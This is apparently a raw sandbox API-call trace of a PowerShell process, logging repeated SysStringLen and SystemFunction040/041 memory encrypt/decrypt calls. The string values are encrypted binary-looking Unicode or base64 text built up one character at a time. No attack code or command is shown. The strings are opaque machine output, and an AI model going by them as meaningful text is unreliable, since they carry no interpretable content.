0x0 [0244.156] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺暾吅㖎冏젤苐困") returned 0x28 [0244.156] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺暾吅㖎冏젤苐困") returned 0x28 [0244.156] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.156] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxZ2f1\뜺쏄꯻ፎ∓) returned 0x28 [0244.156] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.156] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺᥎ࠣ뉖쫗ྞ⃛완") returned 0x28 [0244.156] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺᥎ࠣ뉖쫗ྞ⃛완") returned 0x28 [0244.156] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.157] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxZ2f13㫫쒷﯃享ጓ") returned 0x28 [0244.157] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.157] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺旽ꖬ萋∎틾ᶺ") returned 0x28 [0244.157] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺旽ꖬ萋∎틾ᶺ") returned 0x28 [0244.157] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.157] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxZ2f13d쒷﯃享ጓ") returned 0x28 [0244.157] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.157] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺禅떎䷠짹樣\⋟) returned 0x28 [0244.157] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺禅떎䷠짹樣\⋟) returned 0x28 [0244.157] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.157] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxZ2f13dI﯃享ጓ") returned 0x28 [0244.157] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.158] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺왖닊낑鉈酕虰䠋") returned 0x28 [0244.158] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺왖닊낑鉈酕虰䠋") returned 0x28 [0244.158] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.158] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxZ2f13dIP享ጓ") returned 0x28 [0244.158] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.158] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺㬨窅蘒ℜ≺뒢࿻뮾") returned 0x28 [0244.158] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺㬨窅蘒ℜ≺뒢࿻뮾") returned 0x28 [0244.158] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.158] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxZ2f13dIPQጓ") returned 0x28 [0244.158] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.158] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺땮쇣㇣誛䯻㍪僭") returned 0x28 [0244.158] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺땮쇣㇣誛䯻㍪僭") returned 0x28 [0244.158] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.159] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxZ2f13dIPQI") returned 0x28 [0244.159] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.159] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺璹渰希ꔏ㯨ឍ똰") returned 0x28 [0244.159] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺璹渰希ꔏ㯨ឍ똰") returned 0x28 [0244.159] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺璹渰希ꔏ㯨ឍ똰") returned 0x28 [0244.159] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺璹渰希ꔏ㯨ឍ똰") returned 0x30 [0244.159] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0244.160] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxZ2f13dIPQI2䰬ᥙ⻠趗擾笋") returned 0x30 [0244.160] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0244.160] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺璹渰希ꔏ㯨ឍ똰੨裚墸ㄯ윣Ʋ考\⋞) returned 0x30 [0244.160] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺璹渰希ꔏ㯨ឍ똰੨裚墸ㄯ윣Ʋ考\⋞) returned 0x30 [0244.160] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0244.160] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxZ2f13dIPQI2aᥙ⻠趗擾笋") returned 0x30 [0244.160] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0244.160] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺璹渰希ꔏ㯨ឍ똰䆗짋ἦ쉪ㆍ篠䪥ᇟ") returned 0x30 [0244.160] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺璹渰希ꔏ㯨ឍ똰䆗짋ἦ쉪ㆍ篠䪥ᇟ") returned 0x30 [0244.160] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0244.160] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxZ2f13dIPQI2a4⻠趗擾笋") returned 0x30 [0244.160] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0244.161] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺璹渰希ꔏ㯨ឍ똰쎻尧\ዘ뢷∢) returned 0x30 [0244.161] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺璹渰希ꔏ㯨ឍ똰쎻尧\ዘ뢷∢) returned 0x30 [0244.161] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0244.161] SysStringLen (param_1="259nwm3RAL4DnC45kRWrE1p+FZTJnxZ2f13dIPQI2a4=⻠趗擾笋") returned 0x30 [0244.161] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0244.161] EtwEventActivityIdControl () returned 0x0 [0244.161] EtwEventActivityIdControl () returned 0x0 [0244.161] EtwEventActivityIdControl () returned 0x0 [0244.162] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.162] EtwEventActivityIdControl () returned 0x0 [0244.162] EtwEventActivityIdControl () returned 0x0 [0244.162] EtwEventActivityIdControl () returned 0x0 [0244.163] SysStringLen (param_1="") returned 0x8 [0244.163] SysStringLen (param_1="N") returned 0x8 [0244.163] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.163] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0244.163] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0244.163] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.163] SysStringLen (param_1="ND") returned 0x8 [0244.164] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.164] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0244.164] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0244.164] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.164] SysStringLen (param_1="NDZ") returned 0x8 [0244.164] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.164] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0244.164] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0244.164] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.164] SysStringLen (param_1="NDZl") returned 0x8 [0244.164] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.164] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0244.164] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0244.164] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.165] SysStringLen (param_1="NDZlO") returned 0x8 [0244.165] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.165] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0244.165] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0244.165] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.165] SysStringLen (param_1="NDZlOD") returned 0x8 [0244.165] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.165] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0244.165] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0244.165] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.165] SysStringLen (param_1="NDZlODR") returned 0x8 [0244.165] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.166] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0244.166] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0244.166] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.166] SysStringLen (param_1="NDZlODRm") returned 0x8 [0244.166] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0244.167] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.167] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0244.167] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0244.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0244.167] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.167] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0244.167] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0244.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0244.167] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.168] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0244.168] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0244.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0244.168] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.168] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0244.168] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0244.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0244.168] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.168] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0244.168] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0244.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0244.169] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.169] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0244.169] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0244.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0244.169] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.169] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0244.169] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0244.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0244.169] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.170] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0244.170] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0244.170] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.170] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0244.170] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0244.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0244.171] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.171] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0244.171] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0244.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0244.171] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.171] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0244.171] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0244.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0244.171] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.172] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0244.172] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0244.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0244.172] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.172] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0244.172] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0244.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0244.172] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.172] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0244.173] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0244.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0244.173] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.173] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0244.173] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0244.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0244.173] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.173] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0244.173] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0244.174] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.174] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0244.174] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0244.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0244.175] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.175] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0244.175] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0244.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0244.175] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.175] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0244.175] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0244.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 